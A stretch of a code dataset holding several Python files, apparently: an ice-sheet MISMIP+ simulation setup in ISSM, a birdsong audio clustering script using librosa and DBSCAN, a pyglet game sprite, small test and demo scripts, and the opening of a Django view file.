- Comp VS Player;\n# '2' - Player 1 VS Player 2;\n\n\nmenu = [sm['main']]\nselected_point = 0\n\nlast_key = None\nexit_key = False\npause_key = False\nplay_key = False\n\n\ndef main():\n global play_key, exit_key, settings\n while True:\n if not pause_key:\n clr(rend_menu(menu[-1], settings, selected_point))\n time.sleep(1/FPS)\n keyboard.hook(check_pressed_keys)\n if exit_key:\n clr('Setting saved.\\nPowered by Efi-fi.')\n save_settings(settings)\n exit()\n if play_key:\n run_game(settings, mode)\n play_key = False\n\n\ndef key_down():\n global selected_point, menu\n if selected_point < len(menu[-1]) - 1:\n selected_point += 1\n else:\n selected_point = 0\n\n\ndef key_up():\n global selected_point, menu\n if selected_point > 0:\n selected_point -= 1\n else:\n selected_point = len(menu[-1]) - 1\n\n\ndef key_esc():\n global selected_point, menu, exit_key\n if len(menu) < 2:\n exit_key = True\n else:\n selected_point = 0\n menu.pop()\n\n\ndef check_pressed_keys(event):\n \"\"\"\n Check keys and performing actions according event.\n \"\"\"\n global selected_point, last_key, play_key, mode, settings, pause_key, fig\n if not last_key or (event.name != last_key.name) or (event.event_type == 'down' and last_key.event_type == 'up'):\n # processing events\n if event.name == 'down':\n key_down()\n elif event.name == 'up':\n key_up()\n elif event.name == 'esc':\n key_esc()\n elif event.name == 'space':\n # processing selected item\n if menu[-1][selected_point] == 'Exit':\n key_esc()\n elif menu[-1][selected_point] == 'Back':\n menu.pop()\n selected_point = 0\n elif menu[-1][selected_point].lower() in sm:\n menu.append(sm[menu[-1][selected_point].lower()])\n selected_point = 0\n elif menu[-1][selected_point] == 'One player':\n mode = '1'\n play_key = True\n elif menu[-1][selected_point] == 'Two players':\n mode = '2'\n play_key = True\n elif menu[-1][selected_point] == 'Statistics':\n pause_key = True\n clr()\n show_stat()\n input('Press Enter to continue ')\n pause_key = False\n else:\n pause_key = True\n input_set(settings, menu, selected_point)\n pause_key = False\n last_key = event\n keyboard.unhook_all()\n\n\nif __name__ == '__main__':\n main()\nelse:\n print('This module is not for import!')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"510976007","text":"\"\"\"\nTime to compute using 5 processes on a Intel(R) Xeon(R) CPU E5-1620 v4 @ 3.50GHz\nis:\n\n FemModel initialization elapsed time: 0.636059\n Core solution elapsed time: 37978\n\n Total elapsed time: 10 hrs 32 min 58 sec\n\nwrite lock file:\n\n FemModel initialization elapsed time: 0.135978\n Core solution elapsed time: 134032\n\n Total elapsed time: 37 hrs 13 min 51 sec\nclosing PETSc\nclosing MPI\nloading results from cluster\nShelving variables to existing file './results/BP/shelf_bc_subelement_slip_fric_1e4_iceFront_dx_10000_wall_slip_dt_0.1.md'.\nVariable 'md' shelved.\n\n\"\"\"\n\n\n#from netCDF4 import Dataset\n#from fenics_viz import print_text, plot_variable\nimport issm as im\nimport numpy as np\nimport os\n\n# directories for saving data :\nmdl_odr = 'HO'\nlat_slip = True\nname = 'lateral_slip'\n\nif mdl_odr == 'HO': mdl_pfx = 'BP'\nelse: mdl_pfx = mdl_odr\nplt_dir = './images/' + mdl_pfx + '/' + name + '/'\nout_dir = './results/' + mdl_pfx + '/'\n\n# create the output directory if it does not exist :\nd = os.path.dirname(out_dir)\nif not os.path.exists(d):\n os.makedirs(d)\n\n# MISMIP+ experiment :\nmd = im.model()\nmd.miscellaneous.name = name\n\n#===============================================================================\n\n# define the geometry of the simulation :\nLx = 640000.0 # [m] domain length (along ice flow)\nLy = 80000.0 # [m] domain width (across ice flow)\ndx = 10000.0 # [m] element diameter \nnx = int(Lx/dx) # [--] number of x-coordinate divisions\nny = int(Ly/dx) # [--] number of y-coordinate divisions\nB0 = -150.0 # [m] bedrock topography at x = 0\nB2 = -728.8 # [m] second bedrock topography coefficient\nB4 = 343.91 # [m] third bedrock topography coefficient\nB6 = -50.57 # [m] second bedrock topography coefficient\nxbar = 300000.0 # [m] characteristic along-flow length scale of bedrock\nfc = 4000.0 # [m] characteristic width of channel walls\ndc = 500.0 # [m] depth of the trough compared to its walls\nwc = 24000.0 # [m] half width of the trough\nzd = -720.0 # [m] maximum depth of the bedrock topography\nthklim = 10.0 # [m] thickness limit\nrhow = 1028.0 # [kg m^-3] density of seawater\nrhoi = 918.0 # [kg m^-3] density of glacier ice\ng = 9.81 # [m s^2] gravitational acceleration\nspy = 31556926.0 # [s a^-1] seconds per year\nHini = 100.0 # [m] initial ice thickness\nTm = 273.15 # [K] melting temperature of ice\nn = 3.0 # [--] Glen's exponent\nA = 2e-17 # [Pa^{-n} s^{-1}] flow \nbeta = 1e4 # [Pa m^{-1/n} a^{-1/n}] friction coefficient\np = 3.0 # [--] Paterson friction exponent one\nq = 0.0 # [--] Paterson friction exponent two\nadot = 0.3 # [m a^{-a}] surface-mass balance\ntf = 1 # [a] final time\ndt = 1 # [a] time step\ndt_sav = 1 # [a] time interval to save data\ncfl = 0.5 # [--] CFL coefficient\nnum_p = 4 # [--] number of processor cores to use\n\n# create an empty rectangular mesh :\n#md = triangle(md, './exp/MismipDomain.exp', 10000)\nmd = im.squaremesh(md, Lx, Ly, nx=nx, ny=ny)\nmd = im.setmask(md, 'all', '')\n\n# set up element-wise multiplicative identities :\n\n# rank-zero tensor vertex ones vector :\nv_ones = np.ones(md.mesh.numberofvertices)\n\n# rank-zero tensor element ones vector :\ne_ones = np.ones(md.mesh.numberofelements)\n\n# rank-two tensor ones vector :\nA_ones = np.ones((md.mesh.numberofvertices, 6))\n\n# rank-one tensor ones vector :\nb_ones = np.ones((md.mesh.numberofvertices, 3))\n\n# interpolate the thickness data onto the mesh :\n#data = Dataset('data/weertman-A2.2e-17-ssa.nc', mode = 'r')\n#xd = np.array(data.variables['x'][:])\n#yd = np.array(data.variables['y'][:])\n#Hd = np.array(data.variables['thickness'][:])\n#H = im.InterpFromGridToMesh(xd, yd, Hd, md.mesh.x, md.mesh.y, thklim)[0]\nH = Hini * v_ones\n\n# eq'n (3)\nxt = md.mesh.x / xbar\n\n# eq'n (2) :\nBx = B0 + B2*xt**2 + B4*xt**4 + B6*xt**6\n\n# eq'n (4) :\nBy = + dc / (1 + np.exp(-2*(md.mesh.y - Ly/2 - wc) / fc)) \\\n + dc / (1 + np.exp( 2*(md.mesh.y - Ly/2 + wc) / fc))\n\n# lower topography (eq'n 1) :\nzb = np.maximum(Bx + By, zd*v_ones)\n\n# upper surface which does not take into account flotation :\nS = zb + H\n\n# grounded ice level-set flotation :\nls = H + rhow / rhoi * zb\n\n# get indicies of grounded (gnd) and floating (flt) ice :\ngnd = ls > 0\nflt = ls <= 0\n\n# ice is grounded where == 1 :\nmask = gnd.astype('int')\n\n# correct upper surface to be in equilibrium with the flotation height :\nS[flt] = H[flt] * (1 - rhoi / rhow)\n\n# lower surface :\nB = S - H;\n\n# specify rheology parameters :\nBf = (A / spy)**(-1/n)\n\n#===============================================================================\n# specify constants and varaibles used by MISMIP experiment :\n\nmd.materials.rho_ice = rhoi\nmd.materials.rho_water = rhow\nmd.constants.g = g\nmd.constants.yts = spy\nmd.geometry.surface = S\nmd.geometry.base = B\nmd.geometry.thickness = H\nmd.geometry.bed = zb\nmd.mask.groundedice_levelset = mask # ice is grounded where == 1\nmd.mask.ice_levelset = -1 * v_ones # ice is present when negative\n\n\nmd.friction.p = p * e_ones\nmd.friction.q = q * e_ones\nmd.friction.coefficient = beta * v_ones\nfloating_v = np.where(md.mask.groundedice_levelset < 0)[0]\n#md.friction.coefficient[floating_v] = 0\n\nmd.materials.rheology_B = Bf * v_ones\nmd.materials.rheology_n = n * e_ones\n#md.materials.rheology_B = im.paterson((Tm - 20.0) * v_ones)\nmd.materials.rheology_law = \"None\"\n\nmd.basalforcings.geothermalflux = 0.0 * v_ones\nmd.basalforcings.groundedice_melting_rate = 0.0 * v_ones\nmd.basalforcings.floatingice_melting_rate = 0.0 * v_ones\n\n# Set the default boundary conditions for an ice-sheet :\nmd = im.SetMarineIceSheetBC(md, './exp/mismip_front.exp')\n#md = im.SetIceShelfBC(md, './exp/mismip_front.exp')\n\n#md.stressbalance.referential = np.nan * A_ones\n#md.stressbalance.loadingforce = np.nan * b_ones\n\n# apply lateral slip on north, south, and west boundaries :\nif lat_slip: slip = np.nan\nelse: slip = 0.0\n\n# inflow boundary condition :\npos_w = np.where(md.mesh.x < 0.1)[0]\nmd.stressbalance.spcvx[pos_w] = 0.0\nmd.stressbalance.spcvy[pos_w] = slip\nmd.stressbalance.spcvz[pos_w] = slip\n\n# north wall :\npos_n = np.where(md.mesh.y > np.max(md.mesh.y) - 0.1)[0]\nmd.stressbalance.spcvx[pos_n] = slip \nmd.stressbalance.spcvy[pos_n] = 0.0\nmd.stressbalance.spcvz[pos_n] = slip\n\n# south wall :\npos_s = np.where(md.mesh.y < 0.1)[0]\nmd.stressbalance.spcvx[pos_s] = slip\nmd.stressbalance.spcvy[pos_s] = 0.0\nmd.stressbalance.spcvz[pos_s] = slip\n\n# go back and ensure that the west corners have zero x-component velocity :\nmd.stressbalance.spcvx[pos_w] = 0.0\n\nmd.smb.mass_balance = adot * v_ones\n#md.thermal.spctemperature = np.nan * v_ones\n\n#md.groundingline.migration = 'SoftMigration'\nmd.groundingline.migration = 'SubelementMigration'\n#md.groundingline.migration = 'SubelementMigration2'\n#md.groundingline.migration = 'AggressiveMigration'\n#md.groundingline.migration = 'None'\nmd.masstransport.hydrostatic_adjustment = 'Incremental'\nmd.masstransport.spcthickness = np.nan * v_ones\nmd.masstransport.stabilization = 1\n\n# initialization :\nmd.initialization.vx = 0.0 * v_ones\nmd.initialization.vy = 0.0 * v_ones\nmd.initialization.vz = 0.0 * v_ones\nmd.initialization.vel = 0.0 * v_ones\nmd.initialization.pressure = rhoi * g * H\nmd.initialization.temperature = Tm * v_ones\n\n# tansient settings :\nmd.transient.isstressbalance = 1\nmd.transient.isgroundingline = 1\nmd.transient.ismasstransport = 1\nmd.transient.issmb = 1\nmd.transient.isthermal = 0\nmd.timestepping.time_adapt = 0\nmd.timestepping.cfl_coefficient = cfl\nmd.timestepping.time_step = dt\nmd.timestepping.final_time = tf\nmd.settings.output_frequency = int(dt_sav/dt)\n\nmd.transient.requested_outputs = ['default',\n 'GroundedArea',\n 'FloatingArea',\n 'IceVolume',\n 'IceVolumeAboveFloatation']\n\n# now, extrude and set the basal boundary conditions :\nmd.extrude(6, 1.0)\n\n# specifiy the flow equation and FE basis :\nmd = im.setflowequation(md, mdl_odr, 'all')\nmd.flowequation.fe_HO = 'P1'\n\n## set no-slip basal velocity BC :\n## FIXME: if you do not call ``md.extrude()`` before, ``md.mesh.vertexonbase``\n## does not exist.\n#basal_v = md.mesh.vertexonbase\n#md.stressbalance.spcvx[basal_v] = 0.0\n#md.stressbalance.spcvy[basal_v] = 0.0\n#md.stressbalance.spcvz[basal_v] = 0.0\n\n\n#===============================================================================\n# save the state of the model :\nim.savevars(out_dir + 'mismip_init.md', 'md', md)\n\n#===============================================================================\n# solve :\n\n## initialize the velocity for the CFL condition:\n#md.cluster = im.generic('name', im.gethostname(), 'np', 2)\n#md.verbose = im.verbose('solution', True, 'convergence', True)\n#md = im.solve(md, 'Stressbalance')\n#\n#md.initialization.vx = md.results.StressbalanceSolution.Vx\n#md.initialization.vy = md.results.StressbalanceSolution.Vy\n#md.initialization.vz = md.results.StressbalanceSolution.Vz\n#md.initialization.vel = md.results.StressbalanceSolution.Vel\n\n# solve the transient :\n#md.cluster = im.ollie('name', im.gethostname(), 'np', num_p)\nmd.cluster = im.ollie('name', name, 'np', num_p, 'login', 'ecumming')\nmd.verbose = im.verbose('solution', True, 'control', True, 'convergence', True)\nmd = im.solve(md, 'Transient')\n\n#===============================================================================\n# save the state of the model :\n# FIXME: the savevars method will work for small problems, but fails without \n# error for large ones.\nim.savevars(out_dir + name + '.md', 'md', md)\n\nvar_dict = {'md.results.TransientSolution' : md.results.TransientSolution}\nim.savevars(out_dir + name + '.shelve', var_dict)\n\n\n\n","sub_path":"simulations/mismip/issm/mismip.py","file_name":"mismip.py","file_ext":"py","file_size_in_byte":10503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"488136260","text":"import pandas as pd\r\nimport numpy as np\r\nimport soundfile as sf\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nfrom scipy import fft\r\nfrom scipy.fftpack import dct\r\nimport math\r\nimport librosa, librosa.display\r\nimport scipy.io.wavfile\r\n\r\n\r\n\r\nfrom sklearn.neighbors import NearestNeighbors\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.cluster import DBSCAN\r\nfrom collections import Counter\r\nfrom sklearn.manifold import TSNE\r\n\r\n\r\n\r\ndef frequency_sepectrum(x, sf):\r\n \"\"\"\r\n Derive frequency spectrum of a signal from time domain\r\n :param x: signal in the time domain\r\n :param sf: sampling frequency\r\n :returns frequencies and their content distribution\r\n \"\"\"\r\n x = x - np.average(x) # zero-centering\r\n\r\n n = len(x)\r\n k = np.arange(n)\r\n tarr = n / float(sf)\r\n frqarr = k / float(tarr) # two sides frequency range\r\n\r\n frqarr = frqarr[range(n // 2)] # one side frequency range\r\n\r\n x = np.fft.fft(x) / n # fft computing and normalization\r\n x = x[range(n // 2)]\r\n\r\n return frqarr, abs(x)\r\n\r\n\r\n\"\"\"\r\n#matplotlib inline\r\nrcParams('figure.figsize') = 5, 4\r\nsb.set_style 'whitegrid'\r\n\"\"\"\r\n\r\n\"\"\"\r\nObtaining Paths\r\n\"\"\"\r\npath_to_data = 'F:/Neural Systems Project/Birdstuff/b8p2male-b10o15female_aligned'\r\ndays = [14, 15, 16, 18, 19]\r\n\r\n#Choose which file type you want to extract\r\nwanted_file = 'DAQmxChannels'\r\n\r\n#Make list of all the file paths for later use\r\nfile_paths = []\r\nfor d in days:\r\n path_to_data = 'F:/Neural Systems Project/Birdstuff/b8p2male-b10o15female_aligned'\r\n path_to_data = path_to_data + '/2018-08-{}'.format(d)\r\n for f in os.listdir(path_to_data):\r\n if f.rfind(wanted_file) != -1:\r\n file_paths.append(path_to_data + '/' + f)\r\n\r\n#print(np.asarray(file_paths))\r\n\r\n\"\"\"\r\nExtract Audio and Sampling Rate\r\n\"\"\"\r\n#start_point = 16\r\n#end_point = 19\r\nstart_point = 980\r\nend_point = 1010\r\naudio, sr = sf.read('F:/Neural Systems Project/Birdstuff/b8p2male-b10o15female_aligned/2018-08-14/b8p2male-b10o15female_9_DAQmxChannels.w64')\r\n#audio, sr = sf.read('F:/Neural Systems Project/Birdstuff/b8p2male-b10o15female_aligned/2018-08-14/b8p2male-b10o15female_9_SdrChannels.w64')\r\naudio = audio[int(start_point*sr):int(end_point * sr)]\r\n\r\nprint('Sampling Rate: ', sr)\r\nprint('Audio shape: ', audio.shape)\r\n\r\n\"\"\"\r\nSimple Audio and Frequency Plot\r\n\"\"\"\r\nt = np.arange(len(audio)) / float(sr)\r\nplt.subplot(2, 1, 1)\r\nplt.plot(t, audio)\r\nplt.xlabel('t')\r\nplt.ylabel('y')\r\n\"\"\"\r\nfrq, X = frequency_sepectrum(audio, sr)\r\n\r\nplt.subplot(2, 1, 2)\r\nplt.plot(frq, X, 'b')\r\nplt.xlabel('Freq (Hz)')\r\nplt.ylabel('|X(freq)|')\r\nplt.tight_layout()\r\n\"\"\"\r\nplt.show()\r\n\r\n\r\n\"\"\"\r\nMFCC and Filter Bank Features\r\n\"\"\"\r\n\"\"\"\r\n#pre emphasis audio signal\r\npre_emphasis = 0.97\r\nemphasized_audio = np.append(audio[0], audio[1:] - pre_emphasis * audio[:-1])\r\nprint(emphasized_audio.shape)\r\n#produce frames\r\nframe_size = 0.025\r\nframe_stride = 0.01\r\nframe_length, frame_step = frame_size * sr, frame_stride * sr # Convert from seconds to samples\r\nsignal_length = len(emphasized_audio)\r\nframe_length = int(round(frame_length))\r\nframe_step = int(round(frame_step))\r\nnum_frames = int(np.ceil(float(np.abs(signal_length - frame_length)) / frame_step)) # Make sure that we have at least 1 frame\r\nnum_frames=num_frames+3\r\nprint(num_frames)\r\npad_signal_length = num_frames * frame_step + frame_length\r\nprint(pad_signal_length)\r\nz = np.zeros((pad_signal_length - signal_length))\r\npad_signal = np.append(emphasized_audio, z) # Pad Signal to make sure that all frames have equal number of samples without truncating any samples from the original signal\r\n\r\nindices = np.tile(np.arange(0, frame_length), (num_frames, 1)) + np.tile(np.arange(0, num_frames * frame_step, frame_step), (frame_length, 1)).T\r\nframes = pad_signal[indices.astype(np.int32, copy=False)]\r\n#Apply window\r\nframes *= np.hamming(frame_length)\r\n#Fourier Transform\r\nNFFT = 512\r\nmag_frames = np.absolute(np.fft.rfft(frames, NFFT)) # Magnitude of the FFT\r\npow_frames = ((1.0 / NFFT) * ((mag_frames) ** 2)) # Power Spectrum\r\n#Filter Bank\r\nnfilt = 40\r\nlow_freq_mel = 0\r\nhigh_freq_mel = (2595 * np.log10(1 + (sr / 2) / 700)) # Convert Hz to Mel\r\nmel_points = np.linspace(low_freq_mel, high_freq_mel, nfilt + 2) # Equally spaced in Mel scale\r\nhz_points = (700 * (10**(mel_points / 2595) - 1)) # Convert Mel to Hz\r\nbin = np.floor((NFFT + 1) * hz_points / sr)\r\n\r\nfbank = np.zeros((nfilt, int(np.floor(NFFT / 2 + 1))))\r\nfor m in range(1, nfilt + 1):\r\n f_m_minus = int(bin[m - 1]) # left\r\n f_m = int(bin[m]) # center\r\n f_m_plus = int(bin[m + 1]) # right\r\n\r\n for k in range(f_m_minus, f_m):\r\n fbank[m - 1, k] = (k - bin[m - 1]) / (bin[m] - bin[m - 1])\r\n for k in range(f_m, f_m_plus):\r\n fbank[m - 1, k] = (bin[m + 1] - k) / (bin[m + 1] - bin[m])\r\nfilter_banks = np.dot(pow_frames, fbank.T)\r\nfilter_banks = np.where(filter_banks == 0, np.finfo(float).eps, filter_banks) # Numerical Stability\r\nfilter_banks = 20 * np.log10(filter_banks) # dB\r\n#MFCC\r\nnum_ceps = 20\r\nmfcc = dct(filter_banks, type=2, axis=1, norm='ortho')[:, 1 : (num_ceps + 1)] # Keep 2-13\r\n\r\n#sinusoidal filtering\r\n\r\n#(nframes, ncoeff) = mfcc.shape\r\n#n = np.arange(ncoeff)\r\n#lift = 1 + (cep_lifter / 2) * np.sin(np.pi * n / cep_lifter)\r\n#mfcc *= lift #*\r\n\r\n#Mean normalisation\r\nfilter_banks -= (np.mean(filter_banks, axis=0) + 1e-8)\r\nmfcc -= (np.mean(mfcc, axis=0) + 1e-8)\r\n\r\nprint(\"MFCC shape = \",mfcc.shape)\r\nprint(\"Filter_banks = \",filter_banks.shape)\r\n\r\nplt.imshow(mfcc.T, aspect='auto', origin='lower', interpolation='none', cmap=plt.cm.jet)\r\nplt.title(\"MFCCs in frames\")\r\nplt.show()\r\nplt.imshow(filter_banks.T, aspect='auto', origin='lower', interpolation='none', cmap=plt.cm.jet)\r\nplt.title(\"Filter_banks in frames\")\r\nplt.show()\r\n\"\"\"\r\n\"\"\"\r\nLibrosa\r\n\"\"\"\r\n\r\n\"\"\"\r\nLoad Audio\r\n\"\"\"\r\naudio_librosa, sr_librosa = librosa.load('F:/Neural Systems Project/Birdstuff/b8p2male-b10o15female_aligned/2018-08-14/b8p2male-b10o15female_9_DAQmxChannels.w64', sr = None)\r\n#audio_librosa, sr_librosa = librosa.load('F:/Neural Systems Project/Birdstuff/b8p2male-b10o15female_aligned/2018-08-14/b8p2male-b10o15female_9_SdrChannels.w64', sr = None)\r\naudio_librosa = audio_librosa[int(start_point*sr_librosa):int(end_point*sr_librosa)]\r\nprint(sr_librosa)\r\nprint(audio_librosa.shape)\r\n\r\n\"\"\"\r\nSopectrum\r\n\"\"\"\r\nspectrum = librosa.core.stft(audio_librosa, n_fft=int(0.025*sr_librosa), hop_length=int(0.010*sr_librosa))\r\nabsolute_value = np.abs(spectrum)\r\nprint(absolute_value.shape)\r\n\"\"\"\r\nMFCC\r\n\"\"\"\r\n#\"\"\"\r\nmfcc_librosa = librosa.feature.mfcc(S=absolute_value, sr=sr_librosa)\r\nprint(\"Librosa_mfcc = \",mfcc_librosa.shape)\r\nplt.figure(figsize=(10, 4))\r\nlibrosa.display.specshow(mfcc_librosa, x_axis='time', cmap=plt.cm.jet)\r\nplt.colorbar()\r\nplt.title('MFCC')\r\nplt.tight_layout()\r\nplt.show()\r\n#\"\"\"\r\n\"\"\"\r\nChroma Feature\r\n\"\"\"\r\nchromagram = librosa.feature.chroma_stft(S=absolute_value, sr=sr_librosa)\r\nplt.figure(figsize=(15, 5))\r\nlibrosa.display.specshow(chromagram, x_axis='time', y_axis='chroma', hop_length=512, cmap='coolwarm')\r\nplt.show()\r\nprint(\"Chromogram = \",chromagram.shape)\r\n\"\"\"\r\nRoll-off\r\n\"\"\"\r\nroll_off=librosa.feature.spectral_rolloff(S=absolute_value, sr=sr_librosa)\r\nprint(\"Roll_off = \", roll_off.shape)\r\n\"\"\"\r\nCentroid\r\n\"\"\"\r\ncentroid=librosa.feature.spectral_centroid(S=absolute_value, sr=sr_librosa)\r\nprint(\"Centroid = \", centroid.shape)\r\n\"\"\"\r\nRMS Energy\r\n\"\"\"\r\nif(sr_librosa==32000):\r\n frame_len = 800\r\nelif(sr_librosa==24000):\r\n frame_len = 600\r\nrms = librosa.feature.rms(S=absolute_value, frame_length=frame_len)\r\nprint(\"RMSE = \", rms.shape)\r\nlibrosa.display.specshow(rms, x_axis='time', y_axis='chroma', hop_length=512, cmap='coolwarm')\r\nplt.show()\r\n\"\"\"\r\nNormalize features\r\n\"\"\"\r\nmfcc = StandardScaler().fit_transform(mfcc_librosa)\r\nprint(np.mean(mfcc), np.std(mfcc))\r\nchromagram = StandardScaler().fit_transform(chromagram)\r\nprint(np.mean(chromagram), np.std(chromagram))\r\n\"\"\"\r\nConcatinate features\r\n\"\"\"\r\n#total_features = np.concatenate((mfcc.T, chromagram, roll_off, centroid), axis=0)\r\ntotal_features = np.concatenate((mfcc.T, chromagram.T, roll_off.T, centroid.T, rms.T), axis=1)\r\nprint(total_features.shape)\r\n\"\"\"\r\n\"\"\"\r\n#PCA for 2D Cluster Plot\r\n\"\"\"\r\npca_features_db = PCA(n_components=20)\r\nprincipalcomp_db = pca_features_db.fit_transform(total_features)\r\nprint(principalcomp_db.shape)\r\n\"\"\"\r\n\"\"\"\r\nFinding eps\r\n\"\"\"\r\nnbrs = NearestNeighbors(n_neighbors=2, algorithm='ball_tree').fit(total_features)\r\ndistances, indices = nbrs.kneighbors(total_features)\r\nmean_dist = distances.mean()\r\nprint(distances)\r\nprint(mean_dist)\r\ndistances = np.sort(distances, axis=0)\r\ndistances = distances[:,1]\r\nplt.plot(distances)\r\nplt.show()\r\n\r\n\"\"\"\r\nDBScan\r\n\"\"\"\r\nmodel = DBSCAN(eps=81., min_samples=33)\r\nmodel.fit(total_features)\r\n\r\nprint(model.labels_)\r\nprint(model.labels_.shape)\r\ndbscan_dict = Counter(model.labels_)\r\n\r\n\"\"\"\r\nExpand Labels to Audio Size\r\n\"\"\"\r\nexpanded_db_coeff = np.empty(len(audio))\r\nindex = 0\r\nfor i in range(len(model.labels_)):\r\n for x in range(int(len(audio)/len(mfcc_librosa.T))-1):\r\n expanded_db_coeff[index]=model.labels_[i]\r\n index+=1\r\nprint(expanded_db_coeff.shape)\r\n\r\n\"\"\"\r\nPCA for 2D Cluster Plot\r\n\"\"\"\r\npca_features = PCA(n_components=2)\r\nprincipalcomp = pca_features.fit_transform(total_features)\r\nprint(principalcomp.shape)\r\n\"\"\"\r\n\"\"\"\r\n#2D Cluster Plot PCA\r\n\"\"\"\r\nplt.figure()\r\nplt.figure(figsize=(10,10))\r\nplt.xticks(fontsize=12)\r\nplt.yticks(fontsize=14)\r\nplt.xlabel('Principal Component - 1',fontsize=20)\r\nplt.ylabel('Principal Component - 2',fontsize=20)\r\nplt.title(\"Principal Component Analysis\",fontsize=20)\r\nfor index in range(len(model.labels_)):\r\n if(model.labels_[index]==-1):\r\n plt.scatter(principalcomp[index, 0], principalcomp[index, 1], color='red', s=50)\r\n else:\r\n plt.scatter(principalcomp[index, 0], principalcomp[index, 1], color='blue', s=50)\r\nplt.show()\r\n\"\"\"\r\n\"\"\"\r\nTSNE for 2D Cluster Plot\r\n\"\"\"\r\ntsne_features = TSNE(n_components=2)\r\ntsnefit = tsne_features.fit_transform(total_features)\r\nprint(tsnefit.shape)\r\n\"\"\"\r\n\"\"\"\r\n#2D Cluster Plot TSNE\r\n\"\"\"\r\nplt.figure()\r\nplt.figure(figsize=(10,10))\r\nplt.xticks(fontsize=12)\r\nplt.yticks(fontsize=14)\r\nplt.xlabel('TSNE Component - 1',fontsize=20)\r\nplt.ylabel('TSNE Component - 2',fontsize=20)\r\nplt.title(\"TSNE Component Analysis\",fontsize=20)\r\nfor index in range(len(model.labels_)):\r\n if(model.labels_[index]==-1):\r\n plt.scatter(tsnefit[index, 0], tsnefit[index, 1], color='red', s=50)\r\n else:\r\n plt.scatter(tsnefit[index, 0], tsnefit[index, 1], color='blue', s=50)\r\nplt.show()\r\n\"\"\"\r\nplt.scatter(principalcomp[:,0], principalcomp[:,1], c=model.labels_, cmap=plt.cm.jet)\r\nplt.show()\r\nplt.scatter(tsnefit[:,0], tsnefit[:,1], c=model.labels_, cmap=plt.cm.jet)\r\nplt.show()\r\n\r\n\"\"\"\r\nLabeled Audio\r\n\"\"\"\r\nplt.scatter(t,audio,c=expanded_db_coeff, linestyle='-', linewidths=0.5)\r\nplt.show()\r\nprint(dbscan_dict)\r\ndbscan_keys = list(dbscan_dict.keys())\r\nprint(dbscan_keys)\r\n\r\n\"\"\"\r\n#Audio Snippets for check\r\n\"\"\"\r\nfor i in range(len(dbscan_keys)):\r\n value = dbscan_keys[i]\r\n audio_title = 'audio_snippet_' + str(value) +'.wav'\r\n print(audio_title)\r\n audio_snippet = np.empty(len(audio))\r\n for x in range(len(expanded_db_coeff)):\r\n if(expanded_db_coeff[x]==value):\r\n audio_snippet[x] = audio_librosa[x]\r\n else:\r\n audio_snippet[x] = 0\r\n audio_path = 'F:/Neural Systems Project/Code/DBScan/Output/' + audio_title\r\n librosa.output.write_wav(audio_path, audio_snippet, sr_librosa)\r\n\r\n\r\n","sub_path":"main/DBScan.py","file_name":"DBScan.py","file_ext":"py","file_size_in_byte":11502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"466918859","text":"import pyglet\nfrom system.component import Component\nimport config\n\nclass Ball(Component):\n\n def __init__(self, *args, **kwargs):\n super(Ball, self).__init__(*args,**kwargs)\n self.speed = kwargs.get('speed', 5)\n self.ball_image = pyglet.image.load('assets\\\\ball.png')\n self.width = self.ball_image.width\n self.height = self.ball_image.height\n self.ball_sprite = pyglet.sprite.Sprite(self.ball_image,self.x,self.y)\n self.x_direction = 1\n self.y_direction = 1\n\n print(\"Ball Created!\")\n\n def update_self(self):\n\n self.x += (self.speed * self.x_direction)\n self.y += (self.speed * self.y_direction)\n self.ball_sprite.set_position(self.x,self.y)\n\n if(self.x < 0 or (self.x + self.width) > config.window_width):\n self.x_direction *= -1\n\n if(self.y < 0 or (self.y + self.width) > config.window_height):\n self.y_direction *= -1\n\n def draw_self(self):\n self.ball_sprite.draw()\n","sub_path":"pyglet-tutorials/pyglet-game-tutorial/entities/ball.py","file_name":"ball.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"472290456","text":"import time\n\n\ndef calc(results):\n for line in results:\n time.sleep(1)\n yield len(line)\n\n\ndef gen_count_line(f):\n results = []\n for line in f:\n results.append(line)\n return calc(results)\n\n\ndef call_in_with():\n with open('README.md') as f:\n results = gen_count_line(f)\n print('1:', time.time())\n print(results)\n print('2:', time.time())\n for i in results:\n print(i)\n print('3:', time.time())\n\n\nif __name__ == '__main__':\n call_in_with()\n","sub_path":"17-futures/my_demo.py","file_name":"my_demo.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"204131660","text":"import datetime, time\nimport pytimber\nfrom numpy import *\nfrom pytimber.pagestore import *\n\ndb=pytimber.LoggingDB()\n\ndata1=db.get('LHC.BOFSU:BPM_CAL_MAPPING_ERRORS',time.time()-3600*24*30,time.time())\n\nprint([v.dtype for v in data1.values()[0][1]])\n\ndata2=db.get(['CPS.TGM:USER'], datetime.datetime(2016,8,3,8), datetime.datetime(2016,8,3,8,20))\n\nprint(data2.values()[0][1].dtype)\n\ndb=PageStore('test.db','testdata')\n\nname='var'\nidx=range(3)\nrec=['123','232','123']\ndb.store_variable(name,idx,rec)\nprint(db.get_variable('var'))\n\nrec=['123','232','333123441']\ndb.store_variable(name,idx,rec)\nprint(db.get_variable('var'))\n\nrec=array(['123','232','333'],dtype='U')\ndb.store_variable(name,idx,rec)\nprint(db.get_variable('var'))\n\nrec=[['123','123412'],['232','4241','fdasfa'],['333','434123']]\n\ndb.store_variable(name,idx,rec)\nprint(db.get_variable('var'))\n\ndb.delete()\n","sub_path":"tests/test_string.py","file_name":"test_string.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"105134292","text":"from django.shortcuts import render\r\nfrom django.views.decorators.http import require_POST\r\nfrom django.http import JsonResponse\r\nfrom django.forms import ModelForm\r\nfrom django.db.models import Q\r\nimport logging\r\nfrom common.service.util import field_names, get_form_error_msg\r\nfrom common.forms import GridSearchForm, GridDeleteForm\r\nfrom auth.models import AuthResult\r\nfrom 